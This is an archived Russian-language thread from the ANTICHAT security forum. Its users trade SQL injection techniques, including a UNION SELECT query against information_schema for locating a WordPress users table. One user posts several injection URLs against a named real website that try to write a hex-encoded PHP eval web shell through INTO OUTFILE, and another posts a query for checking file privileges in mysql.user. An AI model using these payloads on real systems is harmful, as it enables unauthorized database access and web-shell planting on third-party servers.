ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
09.01.2012, 18:05
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
где можно прочитать о выводе данных, если таблица в другой базе?
Сообщение от None
Error : Table 'soltan_mp3.wp_users' doesn't exist
правильно я понял, мне это нужно? |
|
|
09.01.2012, 18:08
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
Сообщение от faza02
faza02 said:
где можно прочитать о выводе данных, если таблица в другой базе?
правильно я понял, мне это нужно?
union+select+1,2,table_schema+from+information_sch ema.tables+where+table_name=0x6162635f75736572
0x6162635f75736572 - подставь свой)
кодировать тут - http://x3k.ru/
wp_users будет - 0x77705f7573657273
потом пишешь в запросе: база.wp_users
|
|
|
|
09.01.2012, 19:26
|
|
Guest
Сообщений: n/a
Провел на форуме:
4045
Репутация:
0
|
|
Шелл не заливается
Пробывал так:
http://www.vizborclub.com/vizborclub/photos_albom.php?id=-1%27+union+select+1,2,3,0x273c3f706870206576616c28 245f4745545b20186520195d29203f3e27+INTO+OUTFILE+'1 .php'+--+
http://www.vizborclub.com/vizborclub/photos_albom.php?id=-1%27+union+select+1,2,3,unhex(hex(0x273c3f70687020 6576616c28245f4745545b20186520195d29203f3e27))+INT O+OUTFILE+'1.php'+--+
http://www.vizborclub.com/vizborclub/photos_albom.php?id=-1%27+union+select+1,2,3,''+INTO+OUTFILE+'1.php'+--+
Очередной раз прошу помощи у старших. Поймите, ведь лучше запоминается когда на практике..
|
|
|
|
09.01.2012, 19:29
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
2York,
прав нет.
Сообщение от None
http://www.vizborclub.com/vizborclub/photos_albom.php?id=-1'+union+select+1,File_priv+from+mysql.user+where+ user='class63c_albosin'--+a
|
|
|
|
09.01.2012, 19:35
|
|
Guest
Сообщений: n/a
Провел на форуме:
4045
Репутация:
0
|
|
Даже если я под админом зайду?
|
|
|
|
09.01.2012, 19:40
|
|
Guest
Сообщений: n/a
Провел на форуме:
4045
Репутация:
0
|
|
А как я пойму что File_Prive=Y ? Содержимон страницы выведится?
|
|
|
|
09.01.2012, 19:47
|
|
Guest
Сообщений: n/a
Провел на форуме:
90728
Репутация:
62
|
|
Сообщение от York
York said:
А как я пойму что File_Prive=Y ? Содержимон страницы выведится?
да. или ошибку в случае если прав не хватит заглянуть в mysql.user
|
|
|
|
09.01.2012, 19:48
|
|
Guest
Сообщений: n/a
Провел на форуме:
195266
Репутация:
53
|
|
Сообщение от York
York said:
Даже если я под админом зайду?
у тебя в бд нету файловых прав. Чтобы они появились в твоем случае - нужен скрипт, который обращается к бд под юзвером, у которого они есть (а я сомневаюсь, что ты найдешь такой скрипт). Д и под каким админом то ты решил зайти?
Зы. проще сначала понять что такое бд, и что за язык такой, через который идет обращение к ней. А уж потом приступать к практике (взлома).
|
|
|
|
09.01.2012, 19:58
|
|
Guest
Сообщений: n/a
Провел на форуме:
4045
Репутация:
0
|
|
Литературку посоветуете более понятную для новичка?)
|
|
|
|
09.01.2012, 19:59
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от York
York said:
Литературку посоветуете более понятную для новичка?)
Я тебе уже давал литературу в этом посте /showpost.php?p=2971891&postcount=19143
P.S. google
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
